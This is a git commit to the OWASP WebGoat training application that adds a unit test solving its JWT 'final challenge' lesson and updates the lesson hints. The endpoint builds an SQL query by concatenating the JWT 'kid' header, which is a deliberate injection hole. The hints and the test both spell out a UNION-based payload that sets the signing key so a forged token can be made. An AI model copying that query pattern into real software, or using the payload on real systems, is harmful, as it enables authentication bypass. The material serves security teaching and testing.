Added test cases for solving the lesson
This commit is contained in:
parent
60ef35e241
commit
fd96ba18f1
@ -2,6 +2,7 @@ package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.base.Charsets;
|
||||
import io.jsonwebtoken.*;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
@ -20,6 +21,26 @@ import java.sql.ResultSet;
|
||||
import java.sql.SQLException;
|
||||
|
||||
/**
|
||||
* <pre>
|
||||
* {
|
||||
* "typ": "JWT",
|
||||
* "kid": "webgoat_key",
|
||||
* "alg": "HS256"
|
||||
* }
|
||||
* {
|
||||
* "iss": "WebGoat Token Builder",
|
||||
* "iat": 1524210904,
|
||||
* "exp": 1618905304,
|
||||
* "aud": "webgoat.org",
|
||||
* "sub": "jerry@webgoat.com",
|
||||
* "username": "Jerry",
|
||||
* "Email": "jerry@webgoat.com",
|
||||
* "Role": [
|
||||
* "Cat"
|
||||
* ]
|
||||
* }
|
||||
* </pre>
|
||||
*
|
||||
* @author nbaars
|
||||
* @since 4/23/17.
|
||||
*/
|
||||
@ -54,9 +75,10 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
|
||||
final String kid = (String) header.get("kid");
|
||||
try {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
System.out.println("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
|
||||
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
|
||||
while (rs.next()) {
|
||||
return rs.getString(1).getBytes(Charsets.UTF_8);
|
||||
return TextCodec.BASE64.decode(rs.getString(1));
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
errorMessage[0] = e.getMessage();
|
||||
|
@ -22,4 +22,4 @@ jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which k
|
||||
jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database
|
||||
jwt-final-hint4=The key is stored in the database and loaded while verifying a token
|
||||
jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
|
||||
jwt-final-hint6=Use: key1' union all select 'abcdefg' limit 1,1 -- And change the contents of the token to Tom and hit the endpoint with the new token
|
||||
jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token
|
@ -1,5 +1,5 @@
|
||||
== Final challenges
|
||||
|
||||
Same as before try to change the token and become admin, this assignment requires multiple attack scenarios.
|
||||
|
||||
Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token
|
||||
can only delete his own account. Can you try to help him and delete Toms account?
|
||||
|
||||
|
@ -0,0 +1,62 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class JWTFinalEndpointTest extends LessonTest {
|
||||
|
||||
private static final String TOKEN_JERRY = "eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8";
|
||||
|
||||
@Before
|
||||
public void setup() {
|
||||
JWT jwt = new JWT();
|
||||
when(webSession.getCurrentLesson()).thenReturn(jwt);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
String key = "deletingTom";
|
||||
Map<String, Object> claims = Maps.newHashMap();
|
||||
claims.put("username", "Tom");
|
||||
String token = Jwts.builder()
|
||||
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
|
||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||
.setClaims(claims)
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)
|
||||
.compact();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
|
||||
.param("token", token)
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void withJerrysKeyShouldNotSolveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete")
|
||||
.param("token", TOKEN_JERRY)
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account"))));
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user